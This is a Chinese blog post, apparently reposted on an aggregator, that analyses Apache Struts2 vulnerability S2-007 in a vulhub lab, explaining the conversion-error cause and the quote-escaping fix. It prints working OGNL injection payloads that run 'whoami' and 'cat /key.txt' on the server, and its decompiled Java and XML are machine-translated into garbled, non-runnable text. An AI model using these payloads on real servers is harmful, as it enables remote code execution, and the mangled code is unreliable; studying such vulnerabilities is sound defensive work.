其他分享
首页 > 其他分享> > 【Struts2-命令-代码执行突破分析系列】S2-007

【Struts2-命令-代码执行突破分析系列】S2-007

作者:互联网

前言

继上回S2-001之后,继续分析了S2-007,若有疏漏,还望多多指教。

进攻环境根据vulhub中的环境修改而来https://github.com/vulhub/vulhub/tree/master/struts2/s2-007

这回的S2-007和上回的S2-001中断环境地址https://github.com/kingkaki/Struts2-Vulenv

有学者的师傅可以一起分析下

进攻信息

官方漏洞信息页面:https ://cwiki.apache.org/confluence/display/WW/S2-007

形成原因:

发生转换错误时,将用户输入评估为OGNL表达式。这允许恶意用户执行任意代码。

当配置了验证规则,类型转换出错时,进行了错误的字符串拆分,靴子造成了OGNL语句的执行。

进攻利用

这里我配置了一个UserAction-validation.xml验证表单

<?xml version =“ 1.0” encoding =“ UTF-8”?> 
<!DOCTYPE验证程序PUBLIC 
        “-// OpenSymphony Group // XWork Validator 1.0 // EN” 
        “ http://www.opensymphony.com/xwork/ xwork-validator-1.0.2.dtd“> 
<validators> 
    <字段 名称= “年龄” > 
        <field-validator  类型= “ int” > 
            <param  名称= “ min” > 1 </ param> 
            <param  name = ” max“ > 150 </ param> 
        </ field-validator> 
    </ field> 
</ validators>

限制了age的值只能为int,而且长度在1-150之间

然后在登录界面用户名和邮箱值随意,age部分替换我们的payload

'+(#application)+'

在age的值部分,成功有了回显

命令执行

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '

 

 

修改whoami部分就可以执行任意命令

比如 打开根目录下的 key.txt文件:

 

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /key.txt').getInputStream())) + '

 

 

进攻分析

进攻主要发生在S2-007/web/WEB-INF/lib/xwork-core-2.2.3.jar!/com/opensymphony/xwork2/interceptor/ConversionErrorInterceptor.class:28

公共 字符串 拦截(ActionInvocation  调用) 引发 异常 { 
    ActionContext  invocationContext  =  调用。getInvocationContext (); 
    映射< String , Object >  conversionErrors  =  invocationContext 。getConversionErrors (); 
    ValueStack  stack  =  invocationContext 。getValueStack (); 
    HashMap < 对象, 对象>  fakie  = 空; 
    迭代器 i $  =  conversionErrors 。entrySet ()。迭代器();

    而(I $ 。hasNext ()) { 
        条目< 字符串, 对象>  条目 =  (条目)I $ 。next (); 
        字符串 propertyName  =  (字符串)条目。getKey (); 
        对象 值 =  条目。getValue (); 
        如果 (此。shouldAddError (propertyName的, 值)) { 
            字符串 消息 =  XWorkConverter 。getConversionErrorMessage (propertyName , stack ); 
            对象 操作 =  调用。getAction (); 
            if  (ValidationAware的动作 实例 ){ ValidationAware va = (ValidationAware )的动作; va 。addFieldError (propertyName ,message ); } 
                   
                 
            

            如果 (fakie  ==  null ) { 
                fakie  =  new  HashMap (); 
            }

            飞骑。放(propertyName的, 此。getOverrideExpr (调用, 值)); 
        } 
    }

    if  (fakie  !=  null ) { 
        堆栈。getContext ()。put (“ original.property.override” , fakie ); 
        调用。addPreResultListener (新 PreResultListener () { 
            公共 空隙 beforeResult (ActionInvocation  调用, 字符串 发送resultCode ) { 
                地图< 对象, 对象>  飞骑 =  (地图)调用。getInvocationContext ()。get (“ original.property.override” ); 
                如果 (fakie  !=  null ) { 
                    调用。getStack ()。setExprOverrides (fakie ); 
                }

            } 
        }); 
    }

    返回 调用。invoke (); 
}

当类型出现错误的时候,就会进入这个函数

这里可以Object value = entry.getValue();看到,在中收回了预期的有效载荷

再来到后面的fakie.put(propertyName, this.getOverrideExpr(invocation, value));

跟进this.getOverrideExpr(invocation, value);

受保护的 对象 getOverrideExpr (ActionInvocation  调用, 对象 值) { 
    return  “'”  +  value  +  “'” ; 
}

这也就解释了为什么payload的分开要加'++'就是为了闭合这里的分开的引号

对加入fakie的值值就变成了''+(#xxxx)+''的形式

进来后面放入了invocation值中,最后调用了invoke()解析OGNL成功代码执行

进攻修复

struts2.2.3.1对这个突破进行了修复,修复方法也异常简单,例如sql注入的addslashes,对其中的单引号进行了转义

getOverrideExpr函数中进行了StringEscape,从而无法封闭单引号,也就无法构造OGNL表达

标签:调用,S2,propertyName,Struts2,007,代码执行,字符串,fakie
来源: https://www.cnblogs.com/ssan/p/12711765.html